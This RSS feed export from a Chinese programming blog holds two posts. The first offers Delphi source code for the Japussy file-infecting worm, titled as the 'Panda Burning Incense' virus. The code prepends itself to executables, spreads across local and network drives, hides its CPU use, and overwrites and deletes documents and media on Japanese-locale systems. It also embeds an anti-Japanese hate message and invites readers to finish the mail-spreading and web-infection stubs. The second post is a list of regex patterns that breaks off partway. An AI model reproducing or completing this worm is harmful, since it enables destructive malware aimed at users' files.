﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-CPP&amp;&amp;设计模式小屋-随笔分类-Windows Programming </title><link>http://www.cppblog.com/shenhuafeng/category/2579.html</link><description>(STL,Templete,Generric Programming COM,COM+,ActiveX)---Windows &amp;&amp; Linux &amp;&amp;OpenSource
</description><language>zh-cn</language><lastBuildDate>Tue, 20 May 2008 04:40:13 GMT</lastBuildDate><pubDate>Tue, 20 May 2008 04:40:13 GMT</pubDate><ttl>60</ttl><item><title>熊猫烧香 源码 有兴趣的来看看</title><link>http://www.cppblog.com/shenhuafeng/archive/2007/01/26/18024.html</link><dc:creator>CPP&amp;&amp;设计模式小屋</dc:creator><author>CPP&amp;&amp;设计模式小屋</author><pubDate>Fri, 26 Jan 2007 10:52:00 GMT</pubDate><guid>http://www.cppblog.com/shenhuafeng/archive/2007/01/26/18024.html</guid><wfw:comment>http://www.cppblog.com/shenhuafeng/comments/18024.html</wfw:comment><comments>http://www.cppblog.com/shenhuafeng/archive/2007/01/26/18024.html#Feedback</comments><slash:comments>37</slash:comments><wfw:commentRss>http://www.cppblog.com/shenhuafeng/comments/commentRss/18024.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/shenhuafeng/services/trackbacks/18024.html</trackback:ping><description><![CDATA[
		<p>熊猫烧香 - 核心源码    Delphi版本<br />--------------------------------------------------------------------------------<br />僅供研究使用!後果自行負責 </p>
		<p>代码:--------------------------------------------------------------------------------<br />程序代码<br />program Japussy;<br />uses<br />  Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};<br />const<br />  HeaderSize = 82432;                  //病毒体的大小<br />  IconOffset = $12EB8;                 //PE文件主图标的偏移量<br />  <br />  //在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同<br />  //查找2800000020的十六进制字符串可以找到主图标的偏移量<br />   <br />{<br />  HeaderSize = 38912;                  //Upx压缩过病毒体的大小<br />  IconOffset = $92BC;                  //Upx压缩过PE文件主图标的偏移量<br />  <br />  //Upx 1.24W 用法: upx -9 --8086 Japussy.exe<br />}<br />  IconSize   = $2E8;                   //PE文件主图标的大小--744字节<br />  IconTail   = IconOffset + IconSize;  //PE文件主图标的尾部<br />  ID         = $44444444;              //感染标记<br />  <br />  //垃圾码，以备写入<br />  Catchword = 'If a race need to be killed out, it must be Yamato. ' +<br />              'If a country need to be destroyed, it must be Japan! ' +<br />              '*** W32.Japussy.Worm.A ***';<br />{$R *.RES}<br />function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; <br />  stdcall; external 'Kernel32.dll'; //函数声明<br />var<br />  TmpFile: string;<br />  Si:      STARTUPINFO;<br />  Pi:      PROCESS_INFORMATION;<br />  IsJap:   Boolean = False; //日文操作系统标记<br />{ 判断是否为Win9x }<br />function IsWin9x: Boolean;<br />var<br />  Ver: TOSVersionInfo;<br />begin<br />  Result := False;<br />  Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);<br />  if not GetVersionEx(Ver) then<br />    Exit;<br />  if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x<br />    Result := True;<br />end;<br />{ 在流之间复制 }<br />procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;<br />  dStartPos: Integer; Count: Integer);<br />var<br />  sCurPos, dCurPos: Integer;<br />begin<br />  sCurPos := Src.Position;<br />  dCurPos := Dst.Position;<br />  Src.Seek(sStartPos, 0);<br />  Dst.Seek(dStartPos, 0);<br />  Dst.CopyFrom(Src, Count);<br />  Src.Seek(sCurPos, 0);<br />  Dst.Seek(dCurPos, 0);<br />end;<br />{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }<br />procedure ExtractFile(FileName: string);<br />var<br />  sStream, dStream: TFileStream;<br />begin<br />  try<br />    sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);<br />    try<br />      dStream := TFileStream.Create(FileName, fmCreate);<br />      try<br />        sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分<br />        dStream.CopyFrom(sStream, sStream.Size - HeaderSize);<br />      finally<br />        dStream.Free;<br />      end;<br />    finally<br />      sStream.Free;<br />    end;<br />  except<br />  end;<br />end;<br />{ 填充STARTUPINFO结构 }<br />procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);<br />begin<br />  Si.cb := SizeOf(Si);<br />  Si.lpReserved := nil;<br />  Si.lpDesktop := nil;<br />  Si.lpTitle := nil;<br />  Si.dwFlags := STARTF_USESHOWWINDOW;<br />  Si.wShowWindow := State;<br />  Si.cbReserved2 := 0;<br />  Si.lpReserved2 := nil;<br />end;<br />{ 发带毒邮件 }<br />procedure SendMail;<br />begin<br />  //哪位仁兄愿意完成之？<br />end;<br />{ 感染PE文件 }<br />procedure InfectOneFile(FileName: string);<br />var<br />  HdrStream, SrcStream: TFileStream;<br />  IcoStream, DstStream: TMemoryStream;<br />  iID: LongInt;<br />  aIcon: TIcon;<br />  Infected, IsPE: Boolean;<br />  i: Integer;<br />  Buf: array[0..1] of Char;<br />begin<br />  try //出错则文件正在被使用，退出<br />    if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染<br />      Exit;<br />    Infected := False;<br />    IsPE     := False;<br />    SrcStream := TFileStream.Create(FileName, fmOpenRead);<br />    try<br />      for i := 0 to $108 do //检查PE文件头<br />      begin<br />        SrcStream.Seek(i, soFromBeginning);<br />        SrcStream.Read(Buf, 2);<br />        if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记<br />        begin<br />          IsPE := True; //是PE文件<br />          Break;<br />        end;<br />      end;<br />      SrcStream.Seek(-4, soFromEnd); //检查感染标记<br />      SrcStream.Read(iID, 4);<br />      if (iID = ID) or (SrcStream.Size &lt; 10240) then //太小的文件不感染<br />        Infected := True;<br />    finally<br />      SrcStream.Free;<br />    end;<br />    if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出<br />      Exit;<br />    IcoStream := TMemoryStream.Create;<br />    DstStream := TMemoryStream.Create;<br />    try<br />      aIcon := TIcon.Create;<br />      try<br />        //得到被感染文件的主图标(744字节)，存入流<br />        aIcon.ReleaseHandle;<br />        aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);<br />        aIcon.SaveToStream(IcoStream);<br />      finally<br />        aIcon.Free;<br />      end;<br />      SrcStream := TFileStream.Create(FileName, fmOpenRead);<br />      //头文件<br />      HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);<br />      try<br />        //写入病毒体主图标之前的数据<br />        CopyStream(HdrStream, 0, DstStream, 0, IconOffset);<br />        //写入目前程序的主图标<br />        CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);<br />        //写入病毒体主图标到病毒体尾部之间的数据<br />        CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);<br />        //写入宿主程序<br />        CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);<br />        //写入已感染的标记<br />        DstStream.Seek(0, 2);<br />        iID := $44444444;<br />        DstStream.Write(iID, 4);<br />      finally<br />        HdrStream.Free;<br />      end;<br />    finally<br />      SrcStream.Free;<br />      IcoStream.Free;<br />      DstStream.SaveToFile(FileName); //替换宿主文件<br />      DstStream.Free;<br />    end;<br />  except;<br />  end;<br />end;<br /><br />{ 将目标文件写入垃圾码后删除 }<br />procedure SmashFile(FileName: string);<br />var<br />  FileHandle: Integer;<br />  i, Size, Mass, Max, Len: Integer;<br />begin<br />  try<br />    SetFileAttributes(PChar(FileName), 0); //去掉只读属性<br />    FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件<br />    try<br />      Size := GetFileSize(FileHandle, nil); //文件大小<br />      i := 0;<br />      Randomize;<br />      Max := Random(15); //写入垃圾码的随机次数<br />      if Max &lt; 5 then<br />        Max := 5;<br />      Mass := Size div Max; //每个间隔块的大小<br />      Len := Length(Catchword);<br />      while i &lt; Max do<br />      begin<br />        FileSeek(FileHandle, i * Mass, 0); //定位<br />        //写入垃圾码，将文件彻底破坏掉<br />        FileWrite(FileHandle, Catchword, Len);<br />        Inc(i);<br />      end;<br />    finally<br />      FileClose(FileHandle); //关闭文件<br />    end;<br />    DeleteFile(PChar(FileName)); //删除之<br />  except<br />  end;<br />end;<br />{ 获得可写的驱动器列表 }<br />function GetDrives: string;<br />var<br />  DiskType: Word;<br />  D: Char;<br />  Str: string;<br />  i: Integer;<br />begin<br />  for i := 0 to 25 do //遍历26个字母<br />  begin<br />    D := Chr(i + 65);<br />    Str := D + ':';<br />    DiskType := GetDriveType(PChar(Str));<br />    //得到本地磁盘和网络盘<br />    if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then<br />      Result := Result + D;<br />  end;<br />end;<br />{ 遍历目录，感染和摧毁文件 }<br />procedure LoopFiles(Path, Mask: string);<br />var<br />  i, Count: Integer;<br />  Fn, Ext: string;<br />  SubDir: TStrings;<br />  SearchRec: TSearchRec;<br />  Msg: TMsg;<br />  function IsValidDir(SearchRec: TSearchRec): Integer;<br />  begin<br />    if (SearchRec.Attr &lt;&gt; 16) and  (SearchRec.Name &lt;&gt; '.') and<br />      (SearchRec.Name &lt;&gt; '..') then<br />      Result := 0 //不是目录<br />    else if (SearchRec.Attr = 16) and  (SearchRec.Name &lt;&gt; '.') and<br />      (SearchRec.Name &lt;&gt; '..') then<br />        Result := 1 //不是根目录<br />    else Result := 2; //是根目录<br />  end;<br />begin<br />  if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then<br />  begin<br />    repeat<br />      PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑<br />      if IsValidDir(SearchRec) = 0 then<br />      begin<br />        Fn := Path + SearchRec.Name;<br />        Ext := UpperCase(ExtractFileExt(Fn));<br />        if (Ext = '.EXE') or (Ext = '.SCR') then<br />        begin<br />          InfectOneFile(Fn); //感染可执行文件        <br />        end<br />        else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then<br />        begin<br />          //感染HTML和ASP文件，将Base64编码后的病毒写入<br />          //感染浏览此网页的所有用户<br />          //哪位大兄弟愿意完成之？<br />        end<br />        else if Ext = '.WAB' then //Outlook地址簿文件<br />        begin<br />          //获取Outlook邮件地址<br />        end<br />        else if Ext = '.ADC' then //Foxmail地址自动完成文件<br />        begin<br />          //获取Foxmail邮件地址<br />        end<br />        else if Ext = 'IND' then //Foxmail地址簿文件<br />        begin<br />          //获取Foxmail邮件地址<br />        end<br />        else <br />        begin<br />          if IsJap then //是倭文操作系统<br />          begin<br />            if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or<br />              (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or<br />              (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or<br />              (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or<br />              (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or<br />              (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then<br />                SmashFile(Fn); //摧毁文件<br />          end;<br />        end;<br />      end;<br />      //感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑<br />      Sleep(200);<br />    until (FindNext(SearchRec) &lt;&gt; 0);<br />  end;<br />  FindClose(SearchRec);<br />  SubDir := TStringList.Create;<br />  if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then<br />  begin<br />    repeat<br />      if IsValidDir(SearchRec) = 1 then<br />        SubDir.Add(SearchRec.Name);<br />    until (FindNext(SearchRec) &lt;&gt; 0);<br />    end;<br />  FindClose(SearchRec);<br />  Count := SubDir.Count - 1;<br />  for i := 0 to Count do<br />    LoopFiles(Path + SubDir.Strings[i] + '', Mask);<br />  FreeAndNil(SubDir);<br />end;<br />{ 遍历磁盘上所有的文件 }<br />procedure InfectFiles;</p>
		<p>var<br />  DriverList: string;<br />  i, Len: Integer;<br />begin<br />  if GetACP = 932 then //日文操作系统<br />    IsJap := True; //去死吧！<br />  DriverList := GetDrives; //得到可写的磁盘列表<br />  Len := Length(DriverList);<br />  while True do //死循环<br />  begin<br />    for i := Len downto 1 do //遍历每个磁盘驱动器<br />      LoopFiles(DriverList[i] + ':', '*.*'); //感染之<br />    SendMail; //发带毒邮件<br />    Sleep(1000 * 60 * 5); //睡眠5分钟<br />  end;<br />end;<br />{ 主程序开始 }<br />begin<br />  if IsWin9x then //是Win9x<br />    RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程<br />  else //WinNT<br />  begin<br />    //远程线程映射到Explorer进程<br />    //哪位兄台愿意完成之？<br />  end;<br />  //如果是原始病毒体自己<br />  if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then<br />    InfectFiles //感染和发邮件<br />  else //已寄生于宿主程序上了，开始工作<br />  begin<br />    TmpFile := ParamStr(0); //创建临时文件<br />    Delete(TmpFile, Length(TmpFile) - 4, 4);<br />    TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格<br />    ExtractFile(TmpFile); //分离之<br />    FillStartupInfo(Si, SW_SHOWDEFAULT);<br />    CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,<br />      0, nil, '.', Si, Pi); //创建新进程运行之<br />    InfectFiles; //感染和发邮件<br />  end;<br />end.<br /></p>
<img src ="http://www.cppblog.com/shenhuafeng/aggbug/18024.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/shenhuafeng/" target="_blank">CPP&&设计模式小屋</a> 2007-01-26 18:52 <a href="http://www.cppblog.com/shenhuafeng/archive/2007/01/26/18024.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>常用的正则表达式(转)</title><link>http://www.cppblog.com/shenhuafeng/archive/2006/12/19/16612.html</link><dc:creator>CPP&amp;&amp;设计模式小屋</dc:creator><author>CPP&amp;&amp;设计模式小屋</author><pubDate>Tue, 19 Dec 2006 06:21:00 GMT</pubDate><guid>http://www.cppblog.com/shenhuafeng/archive/2006/12/19/16612.html</guid><wfw:comment>http://www.cppblog.com/shenhuafeng/comments/16612.html</wfw:comment><comments>http://www.cppblog.com/shenhuafeng/archive/2006/12/19/16612.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/shenhuafeng/comments/commentRss/16612.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/shenhuafeng/services/trackbacks/16612.html</trackback:ping><description><![CDATA[
		<p>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">^\d+$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">　　</span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">非负整数（正整数 + 0） </span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">^[0-9]*[1-9][0-9]*$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">　　</span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">正整数 </span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">^((-\d+)|(0+))$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">　　</span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">非正整数（负整数 + 0） </span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">^-[0-9]*[1-9][0-9]*$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">　　</span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">负整数 </span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">^-?\d+$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">　　　　</span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">整数 </span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">^\d+(\.\d+)?$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">　　</span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">非负浮点数（正浮点数 + 0） </span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">^(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*))$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">　　</span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">正浮点数 </span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">^((-\d+(\.\d+)?)|(0+(\.0+)?))$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">　　</span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">非正浮点数（负浮点数 + 0） </span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">^(-(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*)))$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">　　</span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">负浮点数 </span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">^(-?\d+)(\.\d+)?$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">　　</span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">浮点数 </span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">^[A-Za-z]+$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">　　</span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">由26个英文字母组成的字符串 </span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">^[A-Z]+$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">　　</span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">由26个英文字母的大写组成的字符串 </span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">^[a-z]+$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">　　</span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">由26个英文字母的小写组成的字符串 </span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">^[A-Za-z0-9]+$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">　　</span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">由数字和26个英文字母组成的字符串 </span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">^\w+$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">　　</span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">由数字、26个英文字母或者下划线组成的字符串 </span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">^[\w-]+(\.[\w-]+)*@[\w-]+(\.[\w-]+)+$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">　　　　</span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">email地址 </span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">^[a-zA-z]+://(\w+(-\w+)*)(\.(\w+(-\w+)*))*(\?\S*)?$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">　　</span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">url</span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedBlockStart.gif" target="_blank">
						</a>
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/ContractedBlock.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">/^</span>
				<span style="COLOR: #000000">(d</span>
				<span id="Codehighlighter1_768_770_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
						<a href="http://www.cnblogs.com/Images/dot.gif" target="_blank">
						</a>
				</span>
				<span id="Codehighlighter1_768_770_Open_Text">
						<span style="COLOR: #000000">{</span>
						<span style="COLOR: #000000">2</span>
						<span style="COLOR: #000000">}</span>
				</span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000">d</span>
				<span id="Codehighlighter1_774_776_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
						<a href="http://www.cnblogs.com/Images/dot.gif" target="_blank">
						</a>
				</span>
				<span id="Codehighlighter1_774_776_Open_Text">
						<span style="COLOR: #000000">{</span>
						<span style="COLOR: #000000">4</span>
						<span style="COLOR: #000000">}</span>
				</span>
				<span style="COLOR: #000000">)</span>
				<span style="COLOR: #000000">-</span>
				<span style="COLOR: #000000">((</span>
				<span style="COLOR: #000000">0</span>
				<span style="COLOR: #000000">([</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">-</span>
				<span style="COLOR: #000000">9</span>
				<span style="COLOR: #000000">]</span>
				<span id="Codehighlighter1_788_790_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
						<a href="http://www.cnblogs.com/Images/dot.gif" target="_blank">
						</a>
				</span>
				<span id="Codehighlighter1_788_790_Open_Text">
						<span style="COLOR: #000000">{</span>
						<span style="COLOR: #000000">1</span>
						<span style="COLOR: #000000">}</span>
				</span>
				<span style="COLOR: #000000">))</span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000">(</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">[</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000">2</span>
				<span style="COLOR: #000000">]))</span>
				<span style="COLOR: #000000">-</span>
				<span style="COLOR: #000000">(([</span>
				<span style="COLOR: #000000">0</span>
				<span style="COLOR: #000000">-</span>
				<span style="COLOR: #000000">2</span>
				<span style="COLOR: #000000">]([</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">-</span>
				<span style="COLOR: #000000">9</span>
				<span style="COLOR: #000000">]</span>
				<span id="Codehighlighter1_817_819_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
						<a href="http://www.cnblogs.com/Images/dot.gif" target="_blank">
						</a>
				</span>
				<span id="Codehighlighter1_817_819_Open_Text">
						<span style="COLOR: #000000">{</span>
						<span style="COLOR: #000000">1</span>
						<span style="COLOR: #000000">}</span>
				</span>
				<span style="COLOR: #000000">))</span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000">(</span>
				<span style="COLOR: #000000">3</span>
				<span style="COLOR: #000000">[</span>
				<span style="COLOR: #000000">0</span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">]))$</span>
				<span style="COLOR: #000000">/</span>
				<span style="COLOR: #000000">   </span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">  年-月-日</span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedBlockStart.gif" target="_blank">
						</a>
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/ContractedBlock.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">/^</span>
				<span style="COLOR: #000000">((</span>
				<span style="COLOR: #000000">0</span>
				<span style="COLOR: #000000">([</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">-</span>
				<span style="COLOR: #000000">9</span>
				<span style="COLOR: #000000">]</span>
				<span id="Codehighlighter1_858_860_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
						<a href="http://www.cnblogs.com/Images/dot.gif" target="_blank">
						</a>
				</span>
				<span id="Codehighlighter1_858_860_Open_Text">
						<span style="COLOR: #000000">{</span>
						<span style="COLOR: #000000">1</span>
						<span style="COLOR: #000000">}</span>
				</span>
				<span style="COLOR: #000000">))</span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000">(</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">[</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000">2</span>
				<span style="COLOR: #000000">]))</span>
				<span style="COLOR: #000000">/</span>
				<span style="COLOR: #000000">(([</span>
				<span style="COLOR: #000000">0</span>
				<span style="COLOR: #000000">-</span>
				<span style="COLOR: #000000">2</span>
				<span style="COLOR: #000000">]([</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">-</span>
				<span style="COLOR: #000000">9</span>
				<span style="COLOR: #000000">]</span>
				<span id="Codehighlighter1_888_890_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
						<a href="http://www.cnblogs.com/Images/dot.gif" target="_blank">
						</a>
				</span>
				<span id="Codehighlighter1_888_890_Open_Text">
						<span style="COLOR: #000000">{</span>
						<span style="COLOR: #000000">1</span>
						<span style="COLOR: #000000">}</span>
				</span>
				<span style="COLOR: #000000">))</span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000">(</span>
				<span style="COLOR: #000000">3</span>
				<span style="COLOR: #000000">[</span>
				<span style="COLOR: #000000">0</span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">]))</span>
				<span style="COLOR: #000000">/</span>
				<span style="COLOR: #000000">(d</span>
				<span id="Codehighlighter1_908_910_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
						<a href="http://www.cnblogs.com/Images/dot.gif" target="_blank">
						</a>
				</span>
				<span id="Codehighlighter1_908_910_Open_Text">
						<span style="COLOR: #000000">{</span>
						<span style="COLOR: #000000">2</span>
						<span style="COLOR: #000000">}</span>
				</span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000">d</span>
				<span id="Codehighlighter1_914_916_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
						<a href="http://www.cnblogs.com/Images/dot.gif" target="_blank">
						</a>
				</span>
